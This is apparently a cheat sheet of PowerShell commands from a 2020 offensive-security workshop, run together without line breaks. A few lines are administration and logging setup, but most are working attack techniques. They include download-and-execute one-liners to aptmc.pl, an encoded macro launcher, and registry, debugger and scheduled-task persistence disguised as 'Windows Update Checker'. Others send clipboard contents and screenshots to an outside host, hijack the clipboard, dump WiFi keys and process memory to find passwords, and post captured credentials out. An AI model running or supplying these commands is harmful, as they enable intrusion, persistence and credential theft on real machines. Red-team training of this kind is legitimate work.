(c) 2020 Paweł Maziarz https://aptm.in/ https://aptm.in/omh20
xxxxxxxxxxhelp helphelp aboutUpdate-HelpGet-AliasGet-Command"string" | Get-Memberxxxxxxxxxxiex "& { $(irm https://aka.ms/install-powershell.ps1) } -UseMSI"xxxxxxxxxxSet-ExecutionPolicy Bypass -Scope Process -Force;•iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1'))xxxxxxxxxxGet-WindowsCapability -online|? Name -like '*SSH*'Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0Set-Service sshd -StartupType AutomaticGet-Service sshdGet-Service sshd | gmGet-Service sshd | Start-ServicexxxxxxxxxxGet-Processps | gmps | ConvertTo-Html > ps.htmlps | select path,company,cpups | select name,path,company,cpu | sort cpu -desc -Top 10xxxxxxxxxxiwr aptmc.pl/calc | iexpowershell -enc aQB3AHIAIABhAHAAdABtAGMALgBwAGwALwBjAGEAbABjACAAfAAgAGkAZQB4AA==#Sub Document_Open# Shell "cmd /c powershell -enc aQB3AHIAIABhAHAAdABtAGMALg[…]",vbHide#End SubxxxxxxxxxxGet-PSProvider(ls "HKCU:\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords").PropertyxxxxxxxxxxNew-ItemProperty HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name omh -Value "powershell calc.exe"New-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -Name omh -Value "powershell calc.exe"xxxxxxxxxxgp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Rungp HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Rungp HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunGet-Acl HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run | Format-Listxxxxxxxxxxni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\foo.exe"sp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\foo.exe" -name Debugger -Value "powershell -c ps|ogv -wait;#"ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\foo.exe" | sp -name Debugger -Value "powershell -c ps|ogv -wait;#"xxxxxxxxxxgp "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*"|where Debugger|select PSChildName,Debuggerxxxxxxxxxxwhile ($True) { gcb -f t >> $env:temp\clip iwr -me po -i "$env:temp\clip" exfil.aptmc.pl sleep 60}xxxxxxxxxx$payload = "iwr aptmc.pl/calc|iex”while ($True) { $clip = gcb -f t if ($clip -match "\.exe" -and $clip -notmatch $payload) { scb "$clip;$payload`r`n" } sleep 5}xxxxxxxxxx[void][reflection.assembly]::loadwithpartialname("system.windows.forms")[system.windows.forms.sendkeys]::sendwait('{PRTSC}')(gcb -f Image).Save("$env:temp\shot.png")xxxxxxxxxxStart-TranscriptStart-Transcript -IncludeInvocationHeaderNew-Item -Force HKLM:\Software\Policies\Microsoft\Windows\PowerShell\TranscriptionSet-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 1xxxxxxxxxxNew-Item -Force HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggingSet-ItemProperty HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBLockLogging -Name EnableScriptBlockLogging -Value 1xxxxxxxxxxgci (Get-PSReadLineOption).HistorySavePath xxxxxxxxxx$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-w h -c "&{iwr -useb aptmc.pl/calc|iex}"'$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries$trigger = New-ScheduledTaskTrigger -Daily -At 16:32Register-ScheduledTask -Settings $settings -Action $action -Trigger $trigger -TaskName "Windows Update Checker" -Description "Checks if there is an update available" xxxxxxxxxxGet-ScheduledTask |%{[pscustomobject]@{Name=$_.TaskName;Path=$_.TaskPath;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView xxxxxxxxxxgci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Streamgc remote.ps1 -Stream Zone.Identifierxxxxxxxxxxni -p "HKCU:\Software\Microsoft\Command Processor" -f|sp -n AutoRun -v "mspaint"xxxxxxxxxxls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*xxxxxxxxxx$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_}xxxxxxxxxxls HKCU:\Software\Sysinternals|select Namexxxxxxxxxx([adsisearcher]"objectCategory=computer").FindAll()([adsisearcher]"servicePrincipalName=MSSQLSvc/*").FindAll()xxxxxxxxxx(irm ipinfo.io/json).ip1..254 | % {Resolve-DnsName 46.229.145.$_ -ErrorAction SilentlyContinue}(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name" xxxxxxxxxx(irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iexxxxxxxxxxxGet-DnsClientCache|select data,entry|Format-Listipconfig /displaydnsxxxxxxxxxxiwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Out-Minidump.ps1|iex$dump=(ps -name Notepad|out-minidump)iwr https://live.sysinternals.com/tools/strings.exe -OutFile strings.exe.\strings.exe -accepteula -n 10 $dump | select-string -Context 2 passwordrundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp fullxxxxxxxxxxAdd-Type -AssemblyName System.Windows.FormsAdd-type -AssemblyName System.Drawing$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen$Width, $Height = $Screen.Width, $Screen.Height$Left , $Top = $Screen.Left, $Screen.Top$bitmap = New-Object System.Drawing.Bitmap $Width, $Height$graphic = [System.Drawing.Graphics]::FromImage($bitmap)$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)$ms=[System.IO.MemoryStream]::new()$bitmap.Save($ms, [System.Drawing.Imaging.ImageFormat]::jpeg)$graphic.Dispose()$imgb64=[System.Convert]::ToBase64String($ms.GetBuffer()) iwr -me po -b $imgb64 http://aptmc.pl:7777xxxxxxxxxx$ExecutionContext.SessionState.LanguageMode$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"xxxxxxxxxx$scr = { $uri = 'https://aptmc.pl/ps1/rest/' $username = $using:creds.UserName $password = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($using:creds.Password)) $auth = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("${username}:${password}")) Invoke-RestMethod -Headers @{Authorization=("Basic {0}" -f $auth)} -Uri $uri -Body @{Users=(Get-LocalUser|ConvertTo-Json)} -Method Post}$creds = Get-CredentialInvoke-Command -ComputerName localhost,127.0.0.1 -ScriptBlock $scr xxxxxxxxxx(sv -o a -p password "").attributes.add([validatescript]({irm https://aptmc.pl/ps1/steal/ -me po -b $_;return $true}))xxxxxxxxxxtakeown.exe /f Microsoft.PowerShell.Utility.psm1icacls.exe Microsoft.PowerShell.Utility.psm1 /grant administratorzy:f-- Enjoy! Tak się bawimy na https://aptmasterclass.com/forge/ :)